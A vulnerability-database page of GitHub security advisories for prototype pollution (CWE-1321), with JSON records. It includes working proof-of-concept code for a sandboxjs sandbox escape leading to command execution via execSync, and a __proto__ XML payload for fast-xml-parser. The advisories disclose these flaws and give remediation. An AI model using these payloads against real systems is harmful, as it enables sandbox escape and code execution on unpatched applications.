Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

928 vulnerabilities reference this CWE, most recent first.

GHSA-WW7G-4GWX-M7WJ

Vulnerability from github – Published: 2026-02-10 00:24 – Updated: 2026-02-10 02:56

Summary

@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)

Details

Summary

A sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)).

Details

Root Cause:

The sandbox implements a protection mechanism using the isGlobal flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.

Vulnerable Code Path `src/executor.ts`(L559-L571):

addOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => {
  const items = (b as LispItem[])
    .map((item) => {
      if (item instanceof SpreadArray) {
        return [...item.item];
      } else {
        return item;
      }
    })
    .flat()
    .map((item) => valueOrProp(item, context));  // <- isGlobal flag lost here
  done(undefined, items);
});

Exploitation Flow:

Sandboxed code: const m=[Map.prototype][0]
              ↓
Array creation: isGlobal taint stripped via valueOrProp()
              ↓
Prototype mutation: m.cmd='id' (host prototype polluted)
              ↓
Host-side impact: new Map().cmd === 'id' (persistent)
              ↓
RCE (application-dependent): host code calls execSync(obj.cmd)

Protection Bypass Location `src/utils.ts`(L380-L385):

set(key: string, val: unknown) {
  // ...
  if (prop.isGlobal) {  // <- This check is bypassed
    throw new SandboxError(`Cannot override global variable '${key}'`);
  }
  (prop.context as any)[prop.prop] = val;
  return prop;
}

When the prototype is accessed via array retrieval, the isGlobal flag is no longer set, so this protection is never triggered.

PoC

Prototype pollution via array intermediary:

const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const arr=[Map.prototype];
  const p=arr[0];
  p.polluted='pwned';
  return 'done';
`)().run();

console.log('polluted' in ({}), new Map().polluted);

Observed output: false pwned

Overwrite `Set.prototype.has`:

const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const s=[Set.prototype][0];
  s.has=isFinite;
  return 'done';
`)().run();

console.log('has overwritten:', Set.prototype.has === isFinite);

Observed output: has overwritten: true

RCE via host gadget (prototype pollution -> execSync):

const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();

sandbox.compile(`
  const m=[Map.prototype][0];
  m.cmd='id';
  return 'done';
`)().run();

const obj = new Map();
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);

Observed output: uid=501(user) gid=20(staff) groups=20(staff),...

Impact

This is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., Map.prototype, Set.prototype), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing obj.cmd to child_process.execSync).

Affected Systems: any application using @nyariv/sandboxjs to execute untrusted JavaScript.

Remediation

Preserve isGlobal protection across array/object literal creation (do not unwrap Prop into raw values in a way that drops the global/prototype taint).
Add a hard block on writes to built-in prototypes (e.g., Map.prototype, Set.prototype, etc.) even if they are obtained indirectly through literals.
Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).

Severity

9.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.30"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-10T00:24:53Z",
    "nvd_published_at": "2026-02-09T22:16:03Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`).\n\n### Details\n#### Root Cause:\nThe sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.\n\n#### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)):\n```ts\naddOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) =\u003e {\n  const items = (b as LispItem[])\n    .map((item) =\u003e {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return item;\n      }\n    })\n    .flat()\n    .map((item) =\u003e valueOrProp(item, context));  // \u003c- isGlobal flag lost here\n  done(undefined, items);\n});\n```\n#### Exploitation Flow:\n```txt\nSandboxed code: const m=[Map.prototype][0]\n              \u2193\nArray creation: isGlobal taint stripped via valueOrProp()\n              \u2193\nPrototype mutation: m.cmd=\u0027id\u0027 (host prototype polluted)\n              \u2193\nHost-side impact: new Map().cmd === \u0027id\u0027 (persistent)\n              \u2193\nRCE (application-dependent): host code calls execSync(obj.cmd)\n```\n\n#### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)):\n```ts\nset(key: string, val: unknown) {\n  // ...\n  if (prop.isGlobal) {  // \u003c- This check is bypassed\n    throw new SandboxError(`Cannot override global variable \u0027${key}\u0027`);\n  }\n  (prop.context as any)[prop.prop] = val;\n  return prop;\n}\n```\nWhen the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered.\n\n### PoC\n#### Prototype pollution via array intermediary:\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const arr=[Map.prototype];\n  const p=arr[0];\n  p.polluted=\u0027pwned\u0027;\n  return \u0027done\u0027;\n`)().run();\n\nconsole.log(\u0027polluted\u0027 in ({}), new Map().polluted);\n```\n**Observed output**: `false pwned`\n\n#### Overwrite `Set.prototype.has`:\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const s=[Set.prototype][0];\n  s.has=isFinite;\n  return \u0027done\u0027;\n`)().run();\n\nconsole.log(\u0027has overwritten:\u0027, Set.prototype.has === isFinite);\n```\n\n**Observed output**: `has overwritten: true`\n\n#### RCE via host gadget (prototype pollution -\u003e execSync):\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst { execSync } = require(\u0027child_process\u0027);\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const m=[Map.prototype][0];\n  m.cmd=\u0027id\u0027;\n  return \u0027done\u0027;\n`)().run();\n\nconst obj = new Map();\nconst out = execSync(obj.cmd, { encoding: \u0027utf8\u0027 }).trim();\nconsole.log(out);\n```\n\n**Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...`\n\n### Impact\nThis is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`).\n\n**Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript.\n\n### Remediation\n- Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint).\n- Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals.\n- Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).",
  "id": "GHSA-ww7g-4gwx-m7wj",
  "modified": "2026-02-10T02:56:33Z",
  "published": "2026-02-10T00:24:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-ww7g-4gwx-m7wj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25881"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/f369f8db26649f212a6a9a2e7a1624cb2f705b53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)"
}

GHSA-WW98-MRX2-M82H

Vulnerability from github – Published: 2025-04-08 21:31 – Updated: 2025-04-08 21:31

Details

Prototype Pollution in Kibana can lead to code injection via unrestricted file upload combined with path traversal.

Severity

8.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-12556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-08T20:15:19Z",
    "severity": "HIGH"
  },
  "details": "Prototype Pollution in Kibana can lead to code injection via unrestricted file upload combined with path traversal.",
  "id": "GHSA-ww98-mrx2-m82h",
  "modified": "2025-04-08T21:31:40Z",
  "published": "2025-04-08T21:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12556"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-8-16-4-and-8-17-2-security-update-esa-2025-02/376918"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WWG2-2CRQ-6GRR

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-06-17 21:38

Summary

Prototype pollution in @strikeentco/set

Details

Prototype pollution vulnerability in '@strikeentco/set' version 1.0.0 allows attacker to cause a denial of service and may lead to remote code execution.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@strikeentco/set"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28267"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-17T21:38:52Z",
    "nvd_published_at": "2020-11-10T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Prototype pollution vulnerability in \u0027@strikeentco/set\u0027 version 1.0.0 allows attacker to cause a denial of service and may lead to remote code execution.",
  "id": "GHSA-wwg2-2crq-6grr",
  "modified": "2022-06-17T21:38:52Z",
  "published": "2022-05-24T17:34:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28267"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strikeentco/set/commit/102cc6b2e1d1e0c928ced87e75df759d5541ff60"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strikeentco/set"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28267"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in @strikeentco/set"
}

GHSA-WWXH-74FX-33C6

Vulnerability from github – Published: 2023-05-01 14:01 – Updated: 2023-05-01 14:01

Summary

Possible prototype pollution in metadata record, when using meta decorator

Details

Impact

Possible prototype pollution for the MetadataRecord, when merged with a base class' metadata object, in meta decorator from the @aedart/support package.

The likelihood is questionable, given that a class' metadata can only be set or altered when the class is decorated via meta(). Furthermore, object(s) of sensitive nature would have to be stored as metadata, before this can become a vulnerability.

Patches

Has been patched in version 0.6.1.

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aedart/support"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-01T14:01:02Z",
    "nvd_published_at": "2023-04-28T21:15:09Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nPossible prototype pollution for the `MetadataRecord`, when merged with a base class\u0027 metadata object, in `meta` decorator from the `@aedart/support` package.\n\nThe likelihood is questionable, given that a class\u0027 metadata can only be set or altered when the class is decorated via `meta()`. Furthermore, object(s) of sensitive nature would have to be stored as metadata, before this can become a vulnerability.\n### Patches\n\nHas been patched in version `0.6.1`.\n",
  "id": "GHSA-wwxh-74fx-33c6",
  "modified": "2023-05-01T14:01:02Z",
  "published": "2023-05-01T14:01:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aedart/ion/security/advisories/GHSA-wwxh-74fx-33c6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30857"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aedart/ion/commit/c3e2ee08710d4164d796ecb66ed291335dae9291"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aedart/ion"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Possible prototype pollution in metadata record, when using meta decorator"
}

GHSA-WX5G-37JH-9GCR

Vulnerability from github – Published: 2022-10-20 12:00 – Updated: 2022-10-21 19:01

Details

Prototype pollution vulnerability in function DEFNODE in ast.js in mishoo UglifyJS 3.13.2 via the name variable in ast.js.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2022-37598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-20T11:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in function DEFNODE in ast.js in mishoo UglifyJS 3.13.2 via the name variable in ast.js.",
  "id": "GHSA-wx5g-37jh-9gcr",
  "modified": "2022-10-21T19:01:14Z",
  "published": "2022-10-20T12:00:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mishoo/UglifyJS/issues/5699"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mishoo/UglifyJS/issues/5721#issuecomment-1292849604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mishoo/UglifyJS/blob/352a944868b09c9ce3121a49d4a0bf0afe370a35/lib/ast.js#L46"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mishoo/UglifyJS/blob/352a944868b09c9ce3121a49d4a0bf0afe370a35/lib/ast.js#L79"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WXFJ-84XF-7GXV

Vulnerability from github – Published: 2023-02-28 06:30 – Updated: 2023-03-08 23:14

Summary

mde utilities contains Prototype Pollution

Details

All versions of the package utilities are vulnerable to Prototype Pollution via the _mix function.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "utilities"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26105"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-06T21:55:12Z",
    "nvd_published_at": "2023-02-28T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "All versions of the package utilities are vulnerable to Prototype Pollution via the _mix function.",
  "id": "GHSA-wxfj-84xf-7gxv",
  "modified": "2023-03-08T23:14:00Z",
  "published": "2023-02-28T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26105"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mde/utilities/issues/29"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-UTILITIES-3184491"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mde utilities contains Prototype Pollution"
}

GHSA-X27P-FPR7-4WPM

Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-09-08 15:31

Details

Prototype pollution vulnerability in searchParamsToObject() is leading to a persistent XSS in Maps. URL parameter processing was not filtering dangerous properties like proto, combined with jQuery's unsafe element creation that traversed the prototype chain.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

8.5 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-23929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T13:17:21Z",
    "severity": "HIGH"
  },
  "details": "Prototype pollution vulnerability in searchParamsToObject() is leading to a persistent XSS in Maps. URL parameter processing was not filtering dangerous properties like __proto__, combined with jQuery\u0027s unsafe element creation that traversed the prototype chain.",
  "id": "GHSA-x27p-fpr7-4wpm",
  "modified": "2026-09-08T15:31:28Z",
  "published": "2026-08-18T15:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23929"
    },
    {
      "type": "WEB",
      "url": "https://support.zabbix.com/browse/ZBX-28068"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-X2W5-725J-GF2G

Vulnerability from github – Published: 2022-04-20 16:21 – Updated: 2022-05-26 19:43

Summary

Prototype Pollution in convict

Details

Impact

An attacker can inject attributes that are used in other components
An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.

The main use case of Convict is for handling server-side configurations written by the admins owning the servers, and not random users. So it's unlikely that an admin would deliberately sabotage their own server. Still a situation can happen where an admin not knowledgeable about JavaScript could be tricked by an attacker into writing the malicious JavaScript code into some config files.

Patches

The problem is patched in convict@6.2.3. Users should upgrade to convict@6.2.3.

Workarounds

No way for users to fix or remediate the vulnerability without upgrading

References

https://www.huntr.dev/bounties/1-npm-convict/
384
3b86be087d8f14681a9c889d45da7fe3ad9cd880
1ea0ab19c5208f66509e1c43b0d0f21c1fd29b75

For more information

If you have any questions or comments about this advisory: add your question as a comment in #384

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "convict"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-22143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-20T16:21:03Z",
    "nvd_published_at": "2022-05-01T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\n* An attacker can inject attributes that are used in other components\n* An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.\n\nThe main use case of Convict is for handling server-side configurations written by the admins owning the servers, and not random users. So it\u0027s unlikely that an admin would deliberately sabotage their own server. Still a situation can happen where an admin not knowledgeable about JavaScript could be tricked by an attacker into writing the malicious JavaScript code into some config files.\n\n### Patches\n\nThe problem is patched in `convict@6.2.3`. Users should upgrade to `convict@6.2.3`.\n\n### Workarounds\n\nNo way for users to fix or remediate the vulnerability without upgrading\n\n### References\n\n* https://www.huntr.dev/bounties/1-npm-convict/\n* #384\n* 3b86be087d8f14681a9c889d45da7fe3ad9cd880\n* 1ea0ab19c5208f66509e1c43b0d0f21c1fd29b75\n\n### For more information\n\nIf you have any questions or comments about this advisory: \nadd your question as a comment in #384 \n",
  "id": "GHSA-x2w5-725j-gf2g",
  "modified": "2022-05-26T19:43:23Z",
  "published": "2022-04-20T16:21:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/security/advisories/GHSA-x2w5-725j-gf2g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22143"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/pull/384"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/commit/3b86be087d8f14681a9c889d45da7fe3ad9cd880"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/blob/5eb1314f85346760a3c31cb14510f2f0af11d0d3/packages/convict/src/main.js%23L569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/releases/tag/v6.2.2"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-CONVICT-2340604"
    },
    {
      "type": "WEB",
      "url": "https://www.huntr.dev/bounties/1-npm-convict"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in convict"
}

GHSA-X3CC-X39P-42QX

Vulnerability from github – Published: 2023-06-13 12:44 – Updated: 2023-12-14 22:27

Summary

fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name

Details

Impact

As a part of this vulnerability, user was able to se code using __proto__ as a tag or attribute name.

const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");

let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"

const parser = new XMLParser();
let jObj = parser.parse(XMLdata);

console.log(jObj.polluted) // should return hacked

Patches

The problem has been patched in v4.1.2

Workarounds

User can check for "proto" in the XML string before parsing it to the parser.

References

https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-13T12:44:34Z",
    "nvd_published_at": "2023-12-12T17:15:07Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAs a part of this vulnerability, user was able to se code using `__proto__` as a tag or attribute name.\n\n```js\nconst { XMLParser, XMLBuilder, XMLValidator} = require(\"fast-xml-parser\");\n\nlet XMLdata = \"\u003c__proto__\u003e\u003cpolluted\u003ehacked\u003c/polluted\u003e\u003c/__proto__\u003e\"\n\nconst parser = new XMLParser();\nlet jObj = parser.parse(XMLdata);\n\nconsole.log(jObj.polluted) // should return hacked\n``` \n\n### Patches\nThe problem has been patched in v4.1.2\n\n### Workarounds\nUser can check for \"__proto__\" in the XML string before parsing it to the parser.\n\n### References\nhttps://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7\n",
  "id": "GHSA-x3cc-x39p-42qx",
  "modified": "2023-12-14T22:27:59Z",
  "published": "2023-06-13T12:44:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-x3cc-x39p-42qx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26920"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/2b032a4f799c63d83991e4f992f1c68e4dd05804"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-793h-6f7r-6qvm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name"
}

GHSA-X3M3-4WPV-5VGC

Vulnerability from github – Published: 2024-07-01 15:32 – Updated: 2024-07-25 15:25

Summary

jrburke requirejs vulnerable to prototype pollution

Details

jrburke requirejs v2.3.6 was discovered to contain a prototype pollution via the function s.contexts._.configure. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "requirejs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-38999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-10T16:50:19Z",
    "nvd_published_at": "2024-07-01T13:15:05Z",
    "severity": "HIGH"
  },
  "details": "jrburke requirejs v2.3.6 was discovered to contain a prototype pollution via the function `s.contexts._.configure`. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.",
  "id": "GHSA-x3m3-4wpv-5vgc",
  "modified": "2024-07-25T15:25:40Z",
  "published": "2024-07-01T15:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38999"
    },
    {
      "type": "WEB",
      "url": "https://github.com/requirejs/r.js/issues/1015"
    },
    {
      "type": "WEB",
      "url": "https://github.com/requirejs/requirejs/issues/1854"
    },
    {
      "type": "WEB",
      "url": "https://github.com/requirejs/requirejs/pull/1856/commits/ebd7a2ff71473542fa132d0d15c10fb4ed1539e1"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mestrtee/9acae342285bd2998fa09ebcb1e6d30a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/requirejs/r.js"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-REQUIREJS-5416713"
    }
  ],
